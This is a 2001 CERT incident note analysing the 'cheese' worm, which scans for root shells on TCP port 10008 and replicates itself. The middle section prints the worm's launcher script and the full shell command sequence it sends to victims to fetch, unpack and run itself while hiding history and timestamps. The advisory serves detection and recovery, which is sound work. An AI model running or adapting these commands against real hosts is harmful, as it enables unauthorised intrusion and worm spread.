CERT Incident Note IN-2001-05: The "cheese" Worm

The CERT Coordination Center publishes incident notes to provide information about incidents to the Internet community.

The "cheese" Worm

Date: Thursday, May 17, 2001

Overview

The CERT/CC has observed in public and private reports a recent pattern of activity surrounding probes to TCP port 10008. We have obtained an artifact called the 'cheese worm' which may contribute to the pattern.

Description

The 'cheese worm' is a worm designed to remove all inetd services referencing '/bin/sh' from systems with root shells listening on TCP port 10008. In reality, the 'cheese worm' will attempt to execute a series of shell commands on any host which accepts TCP connections on TCP port 10008.

The 'cheese worm' perpetuates its attack cycle across multiple hosts by copying itself from attacking host to victim host and self-initiating another attack cycle. Thus, no human intervention is required to perpetuate the cycle once the worm has begun to propagate.

Contents:

```
MD5 Checksum                     Filesize Filename
-------------------------------------------------------
c6a0feb1b1723493fe504148df4fc0af     2381 cheese
a87a2a8c31cfe38af309e173c2257158       47 go
0093fdcb12b6fb836495b7cd53d19ddb    15471 psm
```

Attack Sequence:

In examples we have seen, the contents of the 'cheese worm' are installed in '/tmp/.cheese' and that directory is the working directory as commands are executed.

The attack sequence is initiated with the execution of the shell script 'go' on the attacking host. 'go' simply executes the perl script 'cheese':

```
/tmp/.cheese/go:
#!/bin/sh
nohup ./cheese $1 1>/dev/null 2>&1 &
```

The 'cheese' script does the following:

- changes its process name to 'httpd'
- deletes the 'go' script
- checks for a file named 'ADL' in the working directory
    - if found, 'cheese' exits
    - if not found, the 'ADL' file is created, the string 'ADL' is written into the file, and the timestamp is set to match the timestamp of the system's '/bin/ls' file
- reads '/etc/inetd.conf' and rewrites it excluding any line that contains the string '/bin/sh'
- attempts to restart inetd twice, once using '/usr/bin/killall' and once using '/bin/killall'
- until the 'cheese' process is somehow killed, it repeats a cycle of scanning semi-random /16 (e.g., class B) network blocks for hosts listening on TCP port 10008 using the 'psm' program.
    - the first octet of the address may be from 193 to 218
    - the second octet of the address may be from 1 to 254

  On hosts responding to a probe on TCP port 10008, the worm
    - establishes a TCP connection to port 10008 of the victim host
    - starts a listener process on a random TCP socket number from 10000 through 15000
        - the listener process will send a copy of '/tmp/.cheese/cheese.uue' to anything that provides two linefeeds after connecting to it's TCP socket
    - sends the following commands to the victim host on TCP port 10008 (word wrapped for readability)

```
export TERM=vt100 ;
export PATH=\"/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin\" ;
export HISTFILE=/dev/null ;
mkdir /tmp/.cheese ;
touch -r /bin/sh /tmp/.cheese ;
cd /tmp/.cheese ;
lynx -source http://$li:$rp/ >cheese.uue ;
uudecode cheese.uue ;
tar zxvf cheese.tgz ;
rm -f cheese.tgz ;
touch -r /bin/sh * ;
chmod 755 * ;
./go $mhih ;
exit ;
```

- '$li' contains the IP address of the local system
- '$rp' is the TCP port on the local system for the listener
- '$mhih' is the IP address of the victim host

If successfully executed on the victim host, these commands cause a copy of the 'cheese worm' (e.g., cheese.uue) to be downloaded, installed, and executed on the victim host.

- terminates the listener process

Impact

Network Footprint:

A host running an active instance of the 'cheese worm' will

- scan TCP port 10008 on remote /16 network blocks
- initiate TCP connections to TCP port 10008 on victim hosts
- receive a TCP connection on a TCP port number from 10000 through 15000 when the worm replicates to a victim host

A victim host being compromised by the 'cheese worm' will

- receive a probe to TCP port 10008 from the attacking host
- receive a TCP connection to port 10008 from the attacking host
- initiate a TCP connection to a TCP port number from 10000 to 15000 on the attacking host
- begin the attack cycle of an active 'cheese worm' host

System Footprint:

The following files may be found on a system impacted by the 'cheese worm':

```
/tmp/.cheese/
/tmp/.cheese/ADL
/tmp/.cheese/go
/tmp/.cheese/cheese
/tmp/.cheese/psm
/tmp/.cheese/cheese.uue
/tmp/.cheese/cheese.tgz
```

The following files may be modified:

```
/etc/inetd.conf
```

The following services may be restarted:

```
inetd
```

The 'cheese worm' relies on an exposed, unauthenticated, privileged shell listening on TCP port 10008 to alter a system and perpetuate its attack cycle. As such, the presence of the 'cheese worm' on a system implies an insecure system configuration or a previous system compromise.

Solutions

The CERT/CC encourages sites to review hosts infected with the 'cheese worm' for other signs of intrusion and take appropriate steps to insure the security of impacted systems.

In particular, certain versions of the BIND TSIG exploit discussed in

IN-2001-03, Exploitation of BIND Vulnerabilities

create a backdoor root shell on TCP port 10008. Such an exploit was bundled into at least one version of the '1i0n' worm. A detailed analysis of the '1i0n' worm was published by Max Vision and is available at

http://www.whitehats.com/library/worms/lion/index.html

The Korea Computer Emergency Response Team Coordination Center (CERTCC-KR) has published CERTCC-KR-IN-01-007 discussing the 'cheese' worm in Korean.

If you believe a host under your control has been compromised, you may wish to refer to

Steps for Recovering From a Root Compromise

Acknowledgement

The CERT/CC thanks CERTCC-KR for their contributions to this Incident Note.

Author: Kevin Houle